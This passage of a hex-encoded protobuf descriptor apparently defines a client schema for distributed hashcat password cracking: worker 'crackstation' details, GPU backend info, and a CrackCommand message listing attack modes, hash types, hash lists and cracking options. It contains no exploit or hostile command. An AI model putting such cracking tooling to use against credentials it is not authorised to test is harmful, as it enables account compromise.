0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, - 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, - 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, - 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, - 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, - 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, - 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, - 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, - 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, - 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, - 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, - 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, - 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, - 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, - 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, - 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, - 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, - 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, - 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, - 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, - 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, - 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, - 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, - 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, - 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, - 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, - 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, - 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, - 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, - 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, - 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, - 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, - 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, - 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, - 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, - 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, - 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, - 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, - 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, - 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, - 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, - 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, - 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, - 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, - 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, - 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, - 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, - 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, - 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, - 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, - 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, - 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, - 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, - 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, - 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, - 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, - 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, - 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, - 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, - 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, - 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, - 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, - 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, - 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, - 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, - 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, - 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, - 0x66, 0x69, 0x6c, 0x65, 